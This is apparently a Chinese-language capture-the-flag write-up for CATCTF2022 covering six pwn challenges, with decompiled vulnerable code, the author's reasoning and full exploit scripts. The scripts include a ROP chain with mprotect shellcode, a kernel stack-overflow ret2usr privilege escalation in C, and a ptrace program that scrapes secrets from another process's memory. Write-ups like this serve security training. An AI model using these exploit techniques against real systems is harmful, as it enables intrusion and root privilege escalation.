0%

CATCTF2022

welcome_CAT_CTF

欢迎来到 CAT CTF,本题为签到题,选手可以通过暴打出题人或者运维拿 flag(用awsd操控,按键j为确定键,建议全屏运行)

入侵思路

1
2
3
4
5
6
7
if ( (char *)s[100 * v0 - 100 + v1] == "@" && glod > 100000000 )
{
puts("GET_FLAG!");
nc = get_nc();
get_flag(nc);
getchar();
}
  • 满足这个条件就可以拿 flag

程序的逻辑如下:

W S A D
v0— v0++ v1— v1++

但是按照程序本身的逻辑是不可能拿到 flag 的:

1
2
if ( glod <= 99 )
++glod;

于是我们就需要对 client 进行修改

  • 注意:server 中还会进行2次检查
1
2
3
4
5
6
7
8
9
10
11
12
13
printf("glod :%d\n", (unsigned int)v26);
if ( !strcmp(s1, key) && v26 > 10000000 )
{
std::ifstream::basic_ifstream(v30);
std::ifstream::open(v30, "./flag", 8LL);
v18 = std::operator<<<std::char_traits<char>>(&std::cout, "Reading from the file");
std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
std::operator>><char,std::char_traits<char>>(v30, v36);
printf("flag:%s", v36);
v19 = strlen(v36);
send(v24, v36, v19, 0);
std::ifstream::~ifstream(v30);
}
  • 因此我们作出如下修改:
1
2
3
4
5
6
7
8
case 'j':
if ( (char *)s[100 * v0 - 100 + v1] == "$" )
{
glod += 10000001;
puts("你给了出题人或者赛事负责人一拳");
printf("你现在拥有%d个猫币", (unsigned int)glod);
getchar();
}
1
2
3
4
5
6
7
if ( (char *)s[100 * v0 - 100 + v1] == "@" && glod > 1 )
{
puts("GET_FLAG!");
nc = get_nc();
get_flag(nc);
getchar();
}

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './client'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x92D3)\n")
#pause()

def cmd(op):
p.sendline(op)

p.sendline("223.112.5.156")
p.sendline("62238")
#p.sendline("127.0.0.1")
#p.sendline("8888")

for i in range(40):
cmd("d")

cmd("a")

for i in range(40):
cmd("w")

cmd("j")

for i in range(40):
cmd("s")

for i in range(40):
cmd("a")

for i in range(7):
cmd("d")

for i in range(20):
cmd("w")

#debug()

cmd("j")

p.interactive()

bitcoin

1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2604789bb1491ea07bfd32d3b87759c191b91f30, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,开了 NX,Partial RELRO
1
2
3
4
5
6
7
8
9
10
➜  bitcoin seccomp-tools dump ./pwn       
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0006
0004: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL
  • ban 了 execvemmap

漏洞分析

1
2
std::operator<<<std::char_traits<char>>(&std::cout, "Password: ");
std::operator>><char,std::char_traits<char>>(&std::cin, passwd);
  • 栈溢出

入侵思路

有栈溢出,可以写 ROP 链

打比赛时的入侵思路就是:

  • 执行 fopen 打开 flag 文件
  • 执行 fgetsflag 文件的内容读到本地
  • 执行 printfflag 输出到屏幕

需要解决的第一个问题就是把 fopen 的返回值与 fgets 相关联:

1
2
3
4
5
RAX  0x24cbeb0 ◂— 0xfbad2488
RBX 0x4062a0 (__libc_csu_init) ◂— push r15
RCX 0x6
RDX 0x0
RDI 0x406360 ◂— outsb dx, byte ptr [rsi] /* 'ned!' */
  • 其实就是把 RAX 存储到 RDX 中

最后找不到这个 gadget,只好放弃了

组里的大佬用 mprotect 来执行 shellcode,当时没有想到这个方法(没有 read 函数可以用 cin 代替)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x40223B\n")
#gdb.attach(p,"b *$rebase(0x269F)\n")
pause()

def cmd(op):
p.sendline(op)

pop_rdi_ret = 0x0000000000406303
pop_rsi_pop_r15_ret = 0x0000000000406301
cin = 0x6093A0
use_cin = 0x401C30
hard = 0x609248
main = elf.sym['main']
start = elf.sym['_start']

csu_front_addr=0x4062E0
csu_end_addr=0x4062FA

bss_addr = 0x609300
got_addr = 0x609000

flag_str = 0x406626
modes_str = 0x406365

fget_got = 0x6091D8
fopen_plt = 0x401E60
mprotect_got = 0x6091E0

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdx=r15
# rsi=r14
# rdi=r13
# csu(0, 1, fun_got, rdi, rsi, rdx, last)
payload = ""
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
return payload

p.sendline()

mprotect = csu(0,1,mprotect_got,got_addr,0x1000,7,pop_rdi_ret)

#debug()
name = "YHellow"
p.sendlineafter("Name:",name)

payload = "a"*0x48
payload += mprotect + p64(cin)
payload += p64(pop_rsi_pop_r15_ret) + p64(bss_addr) + p64(0)
payload += p64(use_cin) + p64(bss_addr)

p.sendlineafter("Password:",payload)
p.sendline(asm(shellcraft.cat("./flag")))

p.interactive()

vmbyhrp

1
2
3
4
5
6
HRPVM: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ae19ec35e351cd7e0113b04270566c04bd3bd321, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
stream = fopen((const char *)name, "ab+");
if ( stream )
{
for ( i = 0; (unsigned int)__isoc99_fscanf((__int64)stream, "%c", &input[i]) != -1; ++i )
;
fclose(stream);
file_data[file_count].fd = global_fd;
file_data[file_count].name = (char *)name;
file_data[file_count].use = 1000LL;
index = file_count;
file_data[index].data = (char *)malloc(0x1000uLL);
strncpy(file_data[file_count].data, input, 0x1000uLL);
++file_count;
++global_fd;
}
  • 程序已经开好了后门

入侵思路

想要执行后门函数,就必须执行 DEBUG 函数,从而需要让 users[0]users[1] 都为“0”:

1
2
if ( !strncmp(*(&system_cmd + 6), (const char *)buf, len) && !users[1] && !users[0] )// debug
DEBUG();

程序没法直接修改 users[0]users[1],但可以通过 file_data 向下覆盖:

1
2
3
.bss:0000000000204120 file_data Chunk 20h dup(<?>)         
......
.bss:0000000000204520 users dd 2 dup(?)

然后通过 vm_elfusers[0]users[1] 设置为“0”

进入 DEBUG 函数,把 flag 写到本地以后还有一些小问题:

  • 需要先执行 mmap 申请一片空间
  • 接着执行 reboot 写入这片空间的地址

这样就可以避免在打印 flag 时发生段错误了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './HRPVM'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 0
if local:
p = process(challenge)
else:
p = remote('223.112.5.156','51240')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x23C8)\n")
pause()

def cmd(op):
p.sendlineafter("HRP-MACHINE$",op)

def ls():
cmd("ls")

def id():
cmd("id")

def file(name,data):
cmd("file")
p.sendlineafter("FILE NAME: ",name)
p.sendlineafter("FILE CONTENT: ",data)

def cat(name):
cmd("cat "+name)

def do(name):
cmd("./"+name)

def reg():
cmd("reg")

def reboot():
cmd("reboot")

def rm(name):
cmd("rm "+name)

def de():
cmd("DEBUG")

p.sendlineafter("USER NAME:","HRPHRP")
p.sendlineafter("PASSWORD:","PWNME")
holder = "YHellow"
p.sendlineafter("[+]HOLDER:",holder)

payload = "mov rdi,35;mov rsi,0;call open 2;2;"
file("a"*0x8,payload)
payload = "mov rdi,1;mov rsi,36;mov rdx,100;call write 1;1;"
file("b"*0x8,payload)
payload = "mov rdi,36;mov rsi,1001;call open 2;2;"
file("c"*0x8,payload)

for i in range(28):
print(str(i))
file("aaa"+str(i),"1"*0x20)

file("d"*0x8,"2"*0x20)
do("a"*0x8)

de()
p.sendlineafter("[+][DEBUGING]root# ","file input")
p.sendlineafter("FILE NAME:","flag")
p.sendlineafter("[+][DEBUGING]root# ","mmap")
p.sendlineafter("[+]ADDR EXPEND:",str(0x40000000))
p.sendlineafter("[+][DEBUGING]root# ","exit")

reboot()
p.sendlineafter("USER NAME:","HRPHRP")
p.sendlineafter("PASSWORD:","PWNME")
holder = p64(0x40000000)
p.sendlineafter("[+]HOLDER:",holder)

do("c"*0x8)
#debug()
do("b"*0x8)

p.interactive()

kernel-test

1
2
3
4
5
6
7
#!/bin/bash
FILE=./_install/flag
if test -f "$FILE"; then
cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh
else
echo $1>./_install/flag && chmod 755 ./_install/flag && cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
cat /proc/kallsyms > /tmp/kallsyms

chown 0:0 flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console


insmod ./HRPKO.ko # 挂载内核模块
chmod 777 /dev/test

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh # 修改 uid gid 为 0 以提权 /bin/sh 至 root。
poweroff -f # 设置 shell 退出后则关闭机器

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t __fastcall HRP_module_read(file *file, char *user, size_t size, loff_t *p)
{
char this_buf[64]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 canary; // [rsp+40h] [rbp-20h]

_fentry__();
memset(&this_buf[21], 0, 43);
canary = __readgsqword(0x28u);
strcpy(this_buf, "welcome to my house\n");
printk("16USE MY read\n");
copy_to_user(user, &this_buf[size], 0x40LL);
return 0x1BF52LL;
}
  • 执行 read(fd,buf,0x40),返回下标为“0”的地方就是 canary
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t __fastcall HRP_module_write(file *file, const char *user, size_t size, loff_t *p)
{
_fentry__();
printk("16USE MY write\n");
if ( size > 0x300 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x300LL, size);
BUG();
}
_check_object_size(pwn, size, 0LL);
copy_from_user(pwn, user, size);
return 0x1BF52LL;
}
  • 把用户态传入的数据存储到 bss 中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall HRP_module_ioctl(file *file, unsigned int cmd, unsigned __int64 param)
{
__int64 v3; // rbp
_QWORD leak[2]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 canary; // [rsp+10h] [rbp-10h]
__int64 v7; // [rsp+18h] [rbp-8h]

_fentry__();
v7 = v3;
canary = __readgsqword(0x28u);
if ( cmd )
{
printk("16[HRPModule:] Unknown ioctl cmd!\n");
return 0xFFFFFFFFFFFFFFEALL;
}
else
{
leak[0] = 0x214F4E4F4ELL;
leak[1] = 0LL;
printk("16[HRPModule:] NOTHING! %s\n", (const char *)leak);
qmemcpy(leak, pwn, 0x100uLL);
return 0LL;
}
}
  • 内核栈溢出

入侵思路

打比赛时看到栈溢出就先去做其他题目了,因为我从来没有尝试过在内核中打栈

就从这个题开始,了解一下内核栈的利用手法

基础的利用思路就是:

  • 利用 HRP_module_read 泄露 canary
  • 利用 HRP_module_write 把 payload 写入 bss 段
  • 利用 HRP_module_ioctl 把 payload 写入栈,完成 ret2usr

由于没有限制 kallsyms,因此可以直接获取内核符号,在此之前我们需要知道 commit_credsprepare_kernel_cred 的偏移:

1
vmlinux-to-elf bzImage vmlinux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  easy-kernel python
Python 2.7.18 (default, Jul 1 2022, 12:27:04)
[GCC 9.4.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/easy-kernel/vmlinux'
Arch: amd64-64-little
Version: 5.9.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0xccc30'
>>> hex(vmlinux.sym['prepare_kernel_cred'] - 0xffffffff81000000)
'0xcd0a0'

接下来就比较套路了,写入 canary 和 rbp,在返回地址处放一个 commit_creds(prepare_kernel_cred(0)) 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;

size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0xccc30;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0xcd0a0;
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

void save_status()
{
__asm__("mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_sp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void get_root(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int main()
{
save_status();
printf("prepare_kernel_cred: %p\n",prepare_kernel_cred);
int fd;
fd = open("/dev/test", O_RDWR);

char buf[0x40];
read(fd,buf,0x40);
size_t canary = ((size_t *)buf)[0];
printf("canary: %p\n", canary);
size_t rbp = ((size_t *)buf)[4];

find_symbols();
size_t rop[0x1000] = {0};
rop[2] = canary;
rop[3] = rbp;
rop[4] = &get_root;
write(fd,rop,0x100);
ioctl(fd,0);
}

injection2.0

1
2
3
4
5
6
7
#!/bin/bash
FILE=./_install/flag
if test -f "$FILE"; then
cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh
else
echo $1>./_install/flag && chmod 755 ./_install/flag && cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo 0 | tee /proc/sys/kernel/yama/ptrace_scope
chown 0:0 flag
chmod 755 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
./target >pso.file 2>&1 &
setsid /bin/cttyhack setuidgid 0 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh # 修改 uid gid 为 0 以提权 /bin/sh 至 root。
poweroff -f # 设置 shell 退出后则关闭机器

入侵思路

这个题目有如下特点:

  • 没有挂载内核模块
  • 网上搜索到 /proc/sys/kernel/yama/ptrace_scope 的作用是 “控制对 ptrace 系统调用的响应”
  • 将文件 target 加载到了后台

先看一眼文件 target 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
fd = open("./flag", 436, envp);
read(fd, buf, 0x30uLL);
close(fd);
close(0);
close(1);
close(2);
system("rm flag");
while ( 1 )
{
write(1, "Hello World\n", 0xCuLL);
sleep(2u);
}
}
  • 把 flag 读取到本地内存,然后删除 flag 文件,循环输入 Hello World

打比赛时想到使用 ptrace 接口去连接程序,但不知道怎么获取栈上的数据,最后没做出来

赛后复现时才发现可以用 ps -ef 获取进程的 PID,然后 cat /proc/pid/maps 获取栈基址,最后在本地计算一下偏移,使用 ptrace 接口去读 flag 就好了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <sys/ptrace.h>

int main(int argv , char **argc){
int data;
int stat;
int pid = atoi(argc[1]);
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
wait(&stat);
long long int addr = 0;
scanf("%llx",&addr);
for (; addr < 0x7ffffffff000; ++addr)
{
data = ptrace(PTRACE_PEEKDATA, pid, addr, NULL);
if(data==0x65636165)
{
printf("data = %x , addr = %llx\n" , data , addr);
long long int addr1=addr-1;
char data1;
for(int i=0;i<100;i++)
{
addr1+=1;
data1 = ptrace(PTRACE_PEEKDATA, pid, addr1, NULL);
printf("%c" , data1);
}
}
}

ptrace(PTRACE_DETACH, pid, NULL, NULL);

return 1 ;
}

zip-zip

1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=4f529bda60e1a98759dcb5e28ce1ee39d7410b7a, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,Partial RELRO,canary
1
2
3
4
5
6
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
  • ban 了 execve

漏洞分析

1
2
3
4
puts("file");
_isoc99_scanf((__int64)"%2560s", file);
getchar();
fd = fopen64((__int64)file, (__int64)"rb");
  • 函数 zip 拥有打开文件的机会
1
2
3
4
5
6
7
8
9
10
11
12
puts("unzip file");
_isoc99_scanf((__int64)"%1s", file);
getchar();
fd = fopen64((__int64)file, (__int64)"wb");
if ( fd )
{
fwrite(chunk2, 1LL, len, fd);
fclose(fd);
free(chunk);
free(chunk2);
return 0LL;
}
  • 函数 unzip 可以把 zip 的文件内容读取到堆中

入侵思路

我的思路就是:使用 zip 压缩 flag,然后使用 unzip 读取到堆中

在此之前,需要先对 encrypt 函数进行逆向,以绕过 unzip 的限制

核心加密代码如下:

1
2
3
4
5
6
7
for ( i = 0; ; ++i )
{
index = i;
if ( index >= (unsigned __int64)j_strlen_ifunc(CDK) )
break;
code[i] = CDK[i];
}
1
2
3
4
5
6
7
8
9
10
for ( j = 0; ; ++j )
{
index = j;
if ( index >= (unsigned __int64)j_strlen_ifunc(CDK) )
break;
for ( k = 0; k < param1; ++k )
code2 = code2 * code[j] % param2;
c[j] = code2;
code2 = 1;
}
  • param1 == 7
  • param2 == 221

其实就是 (x^7) % 221 == c,已知 cx

这里直接用 z3 来解了:(因为是静态链接,用 angr 不如 z3 方便)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from z3 import *
a,b,c = Ints('a b c')
solver = Solver()
solver.add((a*a*a*a*a*a*a%221)==0x95) # 这里用**表示乘方会报错
solver.add((b*b*b*b*b*b*b%221)==0x6C)
solver.add((c*c*c*c*c*c*c%221)==0x18)
solver.add(a>0)
solver.add(b>0)
solver.add(c>0)
if solver.check() == sat:
ans = solver.model()
print(ans)
else:
print("no ans!")
1
[a = 72, c = 80, b = 82]
  • 结果为 “HRP”

打比赛时就做到这里,接着就不知道怎么泄露了

官方 wp 的做法如下:

  • zip 出来的文件和二进制文件 pwn 同名,这样就可以覆盖 pwn(此时不会破坏程序)
  • unzip 的时候发送 Ctrl+D(手动输入),程序就会结束输入,这样 unzip 的默认 filename 就是上次在 zip 输入的文件名,也就是 pwn
  • 再次 nc 时就可以通过报错信息拿到 flag

我自己复现的时候发现 fopen 打不开正在运行的文件:(不管是主机还是 docker 都一样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_IO_FILE *
_IO_new_file_fopen (_IO_FILE *fp, const char *filename, const char *mode,
int is32not64)
{
...
if (_IO_file_is_open (fp)) /* 检查文件是否以打开,打开则返回 */
return 0;
switch (*mode)
{
case 'r':
omode = O_RDONLY;
read_write = _IO_NO_WRITES;
break;
...
}
...
result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write,
is32not64);
...
}
libc_hidden_ver (_IO_new_file_fopen, _IO_file_fopen)

这就有点搞不懂了,暂时放一放